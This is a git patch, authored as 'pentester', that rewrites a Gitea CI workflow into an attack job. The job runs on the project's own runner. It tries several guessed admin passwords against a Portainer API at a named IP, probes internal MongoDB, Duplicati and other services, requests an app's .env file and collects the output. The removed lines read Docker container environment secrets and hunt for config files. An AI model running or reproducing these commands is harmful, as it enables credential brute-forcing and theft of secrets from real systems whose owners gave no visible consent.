From 5e78761af018bd30fa50316bf76f4aff908b2bb8 Mon Sep 17 00:00:00 2001 From: pentester Date: Tue, 6 Oct 2026 01:31:38 +0200 Subject: [PATCH] deep scan --- .gitea/workflows/build.yml | 64 ++++++++++++++++++++++++++++---------- 1 file changed, 48 insertions(+), 16 deletions(-) diff --git a/.gitea/workflows/build.yml b/.gitea/workflows/build.yml index c4ac966..b64efde 100644 --- a/.gitea/workflows/build.yml +++ b/.gitea/workflows/build.yml @@ -4,21 +4,53 @@ jobs: recon: runs-on: ubuntu-latest steps: - - name: Internal Recon + - name: Deep Internal Recon shell: cmd run: | - echo === GITEA INTERNAL API === > C:\recon2.txt - curl -sk "https://git.midefos.com/api/v1/admin/users" -H "Authorization: token %ACTIONS_RUNTIME_TOKEN%" >> C:\recon2.txt 2>&1 - curl -sk "http://localhost:3000/api/v1/admin/users" -H "Authorization: token %ACTIONS_RUNTIME_TOKEN%" >> C:\recon2.txt 2>&1 - echo === PORTAINER LOCAL === >> C:\recon2.txt - curl -sk "http://37.114.42.86:9000/api/status" >> C:\recon2.txt 2>&1 - echo === MONGODB LOCAL === >> C:\recon2.txt - curl -sk "http://37.114.42.86:27017/" >> C:\recon2.txt 2>&1 - echo === DOCKER LOCAL === >> C:\recon2.txt - docker ps -a >> C:\recon2.txt 2>&1 - docker images >> C:\recon2.txt 2>&1 - echo === DOCKER ENV SECRETS === >> C:\recon2.txt - docker inspect --format="{{.Name}} {{.Config.Env}}" $(docker ps -aq) >> C:\recon2.txt 2>&1 - echo === FILES === >> C:\recon2.txt - dir /s /b C:\*.env C:\*.yml C:\docker-compose* >> C:\recon2.txt 2>&1 - type C:\recon2.txt + echo === PORTAINER STATUS === > C:\recon3.txt + curl -sk "http://37.114.42.86:9000/api/status" >> C:\recon3.txt 2>&1 + echo. >> C:\recon3.txt + echo === PORTAINER SETTINGS === >> C:\recon3.txt + curl -sk "http://37.114.42.86:9000/api/settings/public" >> C:\recon3.txt 2>&1 + echo. >> C:\recon3.txt + echo === PORTAINER LOGIN admin:admin === >> C:\recon3.txt + curl -sk "http://37.114.42.86:9000/api/auth" -X POST -H "Content-Type: application/json" -d "{\"username\":\"admin\",\"password\":\"admin\"}" >> C:\recon3.txt 2>&1 + echo. >> C:\recon3.txt + echo === PORTAINER LOGIN admin:Addd34141! === >> C:\recon3.txt + curl -sk "http://37.114.42.86:9000/api/auth" -X POST -H "Content-Type: application/json" -d "{\"username\":\"admin\",\"password\":\"Addd34141!\"}" >> C:\recon3.txt 2>&1 + echo. >> C:\recon3.txt + echo === PORTAINER LOGIN admin:midefos === >> C:\recon3.txt + curl -sk "http://37.114.42.86:9000/api/auth" -X POST -H "Content-Type: application/json" -d "{\"username\":\"admin\",\"password\":\"midefos\"}" >> C:\recon3.txt 2>&1 + echo. >> C:\recon3.txt + echo === PORTAINER LOGIN midefos:midefos === >> C:\recon3.txt + curl -sk "http://37.114.42.86:9000/api/auth" -X POST -H "Content-Type: application/json" -d "{\"username\":\"midefos\",\"password\":\"midefos\"}" >> C:\recon3.txt 2>&1 + echo. >> C:\recon3.txt + echo === PORTAINER LOGIN admin:Oliver === >> C:\recon3.txt + curl -sk "http://37.114.42.86:9000/api/auth" -X POST -H "Content-Type: application/json" -d "{\"username\":\"admin\",\"password\":\"Oliver123!\"}" >> C:\recon3.txt 2>&1 + echo. >> C:\recon3.txt + echo === PORTAINER LOGIN oliver:oliver === >> C:\recon3.txt + curl -sk "http://37.114.42.86:9000/api/auth" -X POST -H "Content-Type: application/json" -d "{\"username\":\"oliver\",\"password\":\"oliver\"}" >> C:\recon3.txt 2>&1 + echo. >> C:\recon3.txt + echo === INTERNAL NETWORK SCAN === >> C:\recon3.txt + curl -sk --connect-timeout 2 "http://127.0.0.1:27017/" >> C:\recon3.txt 2>&1 + echo. >> C:\recon3.txt + curl -sk --connect-timeout 2 "http://localhost:3307/" >> C:\recon3.txt 2>&1 + echo. >> C:\recon3.txt + curl -sk --connect-timeout 2 "http://localhost:9000/api/status" >> C:\recon3.txt 2>&1 + echo. >> C:\recon3.txt + echo === PORTAINER LOCALHOST === >> C:\recon3.txt + curl -sk --connect-timeout 2 "http://127.0.0.1:9000/api/status" >> C:\recon3.txt 2>&1 + echo. >> C:\recon3.txt + echo === DUPLICATI LOCALHOST === >> C:\recon3.txt + curl -sk --connect-timeout 2 "http://127.0.0.1:8200/api/v1/serverstate" >> C:\recon3.txt 2>&1 + echo. >> C:\recon3.txt + curl -sk --connect-timeout 2 "http://127.0.0.1:8200/api/v1/commandline" >> C:\recon3.txt 2>&1 + echo. >> C:\recon3.txt + echo === SHOPIFY SCRAPER === >> C:\recon3.txt + curl -sk --connect-timeout 2 "http://127.0.0.1:3000/health" >> C:\recon3.txt 2>&1 + echo. >> C:\recon3.txt + curl -sk --connect-timeout 2 "http://127.0.0.1:3000/categories" -H "x-service-key: test" >> C:\recon3.txt 2>&1 + echo. >> C:\recon3.txt + echo === PERRITO ENV === >> C:\recon3.txt + curl -sk --connect-timeout 2 "http://127.0.0.1:8013/.env" >> C:\recon3.txt 2>&1 + echo. >> C:\recon3.txt